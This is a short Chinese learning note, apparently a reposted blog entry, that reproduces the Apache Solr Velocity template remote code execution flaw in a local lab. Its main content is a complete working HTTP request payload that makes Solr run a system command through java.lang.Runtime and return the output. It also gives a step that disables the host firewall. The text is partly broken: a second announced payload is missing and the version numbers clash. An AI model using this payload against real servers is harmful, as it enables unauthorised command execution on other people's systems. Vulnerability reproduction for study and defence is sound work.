本文共 1046 字,大约阅读时间需要 3 分钟。
本文为学习笔记,仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动 请参阅《中华人民共和国网络安全法》[进攻复现] Apache Solr Velocity模板远程代码执行
*影响范围
包括但不预定8.2.0(最新版本)*进攻威胁等级
高危环境准备
下载漏洞环境https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
下载命令:wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
下载完成,开始解压 命令:unzip solr-8.2.0.zip解压完成,cd进入solr-8.1.0/bin目录
使用./solr -e dih -force开启漏洞环境 虚拟机访问:127.0.0.1:8983 成功。 尝试用PC机访问( youip:8983) 进行抓包:显示无法访问。
可能存在防火墙设置。停止防火墙命令:systemctl stop firewalld.service
再次尝试访问:
成功!点击左侧的Core Selector查看集合名称
开启BP 抓包 抓包,发送至Reperter 使用如下payload: 爆出目录GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
使用如下payload:
爆出当前用户转载地址:http://ywmlf.baihongyu.com/